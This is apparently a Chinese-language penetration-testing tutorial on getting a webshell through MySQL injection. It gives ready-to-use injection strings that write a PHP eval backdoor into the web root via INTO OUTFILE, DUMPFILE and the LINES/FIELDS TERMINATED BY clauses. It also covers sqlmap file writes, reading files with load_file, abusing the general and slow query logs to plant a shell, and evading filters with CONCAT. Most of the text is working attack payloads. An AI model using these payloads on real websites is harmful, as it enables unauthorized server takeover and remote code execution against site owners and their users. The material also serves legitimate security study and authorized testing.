MySQL注入写shell
SQL注入写shell
into outfile写shell
条件:
1、知道web绝对路径
2、有文件写入权限(一般情况只有root用户有)
3、数据库开启了
secure_file_priv
设置
secure_file_priv 查询语句:show global variables like "secure%";
1 | NULL 禁止限制操作 |
secure_file_priv只能通过设置my.ini来配置,不能通过SQL语言来修改,因为它是只读变量
1 | show variables like "%secure%"; |
找网站根目录
根据SQL语句报错,看看有无路径爆出
读网站的配置文件
1 | select @@datadir #查找Mysql配置路径 |
这里的路径是
1 | D:\xampp\\mysql\\data\\ |
然后上网上搜索一下xampp网站的配置路径
读取xampp
下apache的配置文件xampp\apache\conf\httpd.conf
读取到了网站的配置路径
然后就能用select into outfile
写入webshell
常见手法:
联合注入写入
1 | ?id=1' union select 1,"<?php @eval($_POST['shell']);?>",3 into outfile 'C:\\phpstudy\\WWW\\sqli\\shell.php'# |
dumpfile
函数写入
1 | ?id=1' union select 1,"<?php @eval($_POST['shell']);?>",3 into dumpfile 'C:\\phpstudy\\WWW\\sqli\\shell.php'# |
lines terminated by 写入
1 | ?id=1 into outfile 'C:/wamp64/www/shell.php' lines terminated by '<?php phpinfo()?>'; |
lines starting by 写入
1 | ?id=1 into outfile 'C:/wamp64/www/shell.php' lines starting by '<?php phpinfo()?>'; |
fields terminated by 写入
1 | ?id=1 into outfile 'C:/wamp64/www/work/shell.php' fields terminated by '<?php phpinfo() ?>'; |
columns terminated by 写入
1 | ?id=1 into outfile 'C:/wamp64/www/shell.php' COLUMNS terminated by '<?php phpinfo() ?>'; |
sqlmap写入
1 | 写入到 /tmp 目录下 (要写的文件,必须在kali本机里有) |
读文件
1 | select load_file('文件名'); |
日志写shell
MySQL的两个全局变量:
1 | general_log 日志保存状态,一共有两个值(ON/OFF) |
如果目前这个general_log
为off状态,那么日志就没有被记录进去,所以要先打开这个全局变量
1 | set global general_log='on'; |
打开过后,不管sql语句是否正确,日志文件中都会记录我们写的sql语句
接下来修改general_log_file
,可以直接通过SQL语句修改,并且必须修改为如.php
后缀的文件,不然马不能被解析
1 | set global general_log_file='C:\\phpstudy\\phpstudy_pro\\Extensions\\MySQL5.7.26\\log.php'; |
接下来使用 select '<?php @eval($_POST[cmd]);?>';
查询语句,其实就是写马,让日志文件众留下这样一句查询语句
但是最后也要考虑能不能成功的连接到马,像如果secure_file_priv
固定为C:\,而网站是搭在D盘上,那把general_log_file
修改为C盘下的文件也连接不到,除非还有文件包含漏洞等
这里还得修改日志文件log.php的路径,让他在网站目录下才能成功连接
成功连接
利用条件
条件比较苛刻
(1)union注入在这里行不通。要日志写马能够连接必须要修改general_log_file
为比如php
后缀的文件,不然马不能被解析,所以必须要先用到set global general_log_file='xx.php';
,那么union注入就没机会了,union基本都是?id=1 union select 1,2,select '';
这样,不能执行set
的
(2)有堆叠注入,要先?id=1;set global general_log_file='xx.php';
,然后直接执行?id=1;select '木马';
不过要想有堆叠注入的条件,源码中必须要用到mysqli_multi_query()
。一般后台查询数据库使用的语句都是用mysql_query()
,所以堆叠注入在mysql上不常见。
(3)再者就是成功登录到别人的数据库里了,先set global general_log_file='xx.php';
,然后直接执行select '木马';
(4)没有对 '
和 "
进行过滤,因为outfile后面的物理路径必须要有引号
慢查询日志写shell
MySQL日志主要包含: 错误日志、查询日志、慢查询日志、事务日志。在 5.6.34版本以后secure_file_priv的值默认为NULL
MySQL的慢查询日志是MySQL提供的一种日志记录,它用来记录在MySQL中响应时间超过阀值的语句,long_query_time的默认值为10,意思是运行10S以上的语句。运行时间超过long_query_time值的SQL会被记录到慢查询日志中。使用慢查询主要针对日志量庞大,通过日志文件getshell出现问题的情况
1 | show variables like '%slow%'; |
1 | set GLOBAL slow_query_log_file='C:\\phpstudy\\phpstudy_pro\\WWW\\slow.php'; //原理同上 |
若对敏感字符进行过滤,可以采用字符串拼接(concat) 字符串替换(replace)
1 | set global general_log_file =CONCAT("/var/www/html/shell.p","hp"); |